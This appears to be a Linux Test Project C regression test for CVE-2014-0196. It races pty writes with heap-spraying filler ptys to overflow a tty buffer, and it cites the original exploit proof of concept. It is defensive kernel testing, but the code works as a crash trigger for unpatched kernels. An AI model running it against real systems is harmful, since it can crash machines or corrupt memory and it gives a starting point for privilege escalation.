1/* 2 * Copyright (c) 2017 Richard Palethorpe <rpalethorpe@suse.com> 3 * Original POC by Matthew Daley <mattd@bugfuzz.com> 4 * 5 * This program is free software: you can redistribute it and/or modify 6 * it under the terms of the GNU General Public License as published by 7 * the Free Software Foundation, either version 2 of the License, or 8 * (at your option) any later version. 9 * 10 * This program is distributed in the hope that it will be useful, 11 * but WITHOUT ANY WARRANTY; without even the implied warranty of 12 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 13 * GNU General Public License for more details. 14 * 15 * You should have received a copy of the GNU General Public License 16 * along with this program. If not, see <http://www.gnu.org/licenses/>. 17 */ 18/* 19 * This test attempts to cause a buffer overflow using the race condition 20 * described in CVE-2014-0196. If the test is successful in causing an 21 * overflow it will most likely result in an immediate Oops, restart or 22 * freeze. However if it overwrites memory not accessed during the test then 23 * it could happen at a later time or not at all which is more likely if SLAB 24 * randomization has been implemented. However as it currently stands, the test 25 * usually crashes as soon as the delay has been calibrated. 26 * 27 * To maximise the chances of the buffer overflow doing immediate detectable 28 * damage the SLAB filler sockets and ioctls from the original exploit POC 29 * have been kept even though they are not strictly necessary to reproduce the 30 * bug. 31 * 32 * Further details: 33 * see linux commit 4291086b1f081b869c6d79e5b7441633dc3ace00 34 * privilege escalation POC https://www.exploit-db.com/exploits/33516/ 35 */ 36 37#include <pty.h> 38#include <stdio.h> 39#include <string.h> 40#include <termios.h> 41#include <limits.h> 42 43#include "tst_test.h" 44#include "tst_timer.h" 45#include "tst_safe_pthread.h" 46 47#include "tst_fuzzy_sync.h" 48 49#define ONEOFF_ALLOCS 200 50#define RUN_ALLOCS 30 51#define ATTEMPTS 0x7000 52#define BUFLEN 512 53 54static volatile int master_fd, slave_fd; 55static int filler_ptys[ONEOFF_ALLOCS * 2]; 56static int target_ptys[RUN_ALLOCS * 2]; 57static char buf[BUFLEN]; 58 59static pthread_t overwrite_thread; 60static void *overwrite_thread_fn(void *); 61static struct tst_fzsync_pair fzsync_pair = TST_FZSYNC_PAIR_INIT; 62 63static void create_pty(int *amaster, int *aslave) 64{ 65 if (openpty(amaster, aslave, NULL, NULL, NULL) == -1) 66 tst_brk(TBROK | TERRNO, "pty creation failed"); 67} 68 69static void setup(void) 70{ 71 int i; 72 73 for (i = 0; i < ONEOFF_ALLOCS; i++) { 74 create_pty(&filler_ptys[i], 75 &filler_ptys[i + ONEOFF_ALLOCS]); 76 } 77 78 fzsync_pair.info_gap = 0xFFF; 79 SAFE_PTHREAD_CREATE(&overwrite_thread, NULL, 80 overwrite_thread_fn, NULL); 81} 82 83static void *overwrite_thread_fn(void *p LTP_ATTRIBUTE_UNUSED) 84{ 85 while(tst_fzsync_wait_update_b(&fzsync_pair)) { 86 tst_fzsync_delay_b(&fzsync_pair); 87 tst_fzsync_time_b(&fzsync_pair); 88 89 SAFE_WRITE(0, slave_fd, buf, BUFLEN - 1); 90 SAFE_WRITE(0, slave_fd, buf, BUFLEN - 1); 91 SAFE_WRITE(0, slave_fd, buf, BUFLEN); 92 if (!tst_fzsync_wait_b(&fzsync_pair)) 93 break; 94 } 95 return 0; 96} 97 98static void run(void) 99{ 100 struct termios t; 101 int i, j; 102 103 tst_res(TINFO, "Attempting to overflow into a tty_struct..."); 104 105 for (i = 0; i < ATTEMPTS; i++) { 106 create_pty((int *)&master_fd, (int *)&slave_fd); 107 108 for (j = 0; j < RUN_ALLOCS; j++) 109 create_pty(&target_ptys[j], 110 &target_ptys[j + RUN_ALLOCS]); 111 SAFE_CLOSE(target_ptys[RUN_ALLOCS / 2]); 112 SAFE_CLOSE(target_ptys[RUN_ALLOCS / 2 + RUN_ALLOCS]); 113 114 SAFE_WRITE(0, slave_fd, buf, 1); 115 116 tcgetattr(master_fd, &t); 117 t.c_oflag &= ~OPOST; 118 t.c_lflag |= ECHO; 119 tcsetattr(master_fd, TCSANOW, &t); 120 121 tst_fzsync_wait_update_a(&fzsync_pair); 122 123 tst_fzsync_delay_a(&fzsync_pair); 124 tst_fzsync_time_a(&fzsync_pair); 125 SAFE_WRITE(0, master_fd, "A", 1); 126 127 tst_fzsync_wait_a(&fzsync_pair); 128 129 for (j = 0; j < RUN_ALLOCS; j++) { 130 if (j == RUN_ALLOCS / 2) 131 continue; 132 133 ioctl(target_ptys[j], 0xdeadbeef); 134 ioctl(target_ptys[j + RUN_ALLOCS], 0xdeadbeef); 135 SAFE_CLOSE(target_ptys[j]); 136 SAFE_CLOSE(target_ptys[j + RUN_ALLOCS]); 137 } 138 139 ioctl(master_fd, 0xdeadbeef); 140 ioctl(slave_fd, 0xdeadbeef); 141 SAFE_CLOSE(master_fd); 142 SAFE_CLOSE(slave_fd); 143 } 144 145 tst_res(TPASS, "Nothing bad happened, probably."); 146} 147 148static void cleanup(void) 149{ 150 int i; 151 152 if (overwrite_thread) { 153 tst_fzsync_pair_exit(&fzsync_pair); 154 SAFE_PTHREAD_JOIN(overwrite_thread, NULL); 155 } 156 157 for (i = 0; i < ONEOFF_ALLOCS * 2; i++) 158 close(filler_ptys[i]); 159 close(master_fd); 160 close(slave_fd); 161} 162 163static struct tst_test test = { 164 .setup = setup, 165 .cleanup = cleanup, 166 .test_all = run, 167}; 168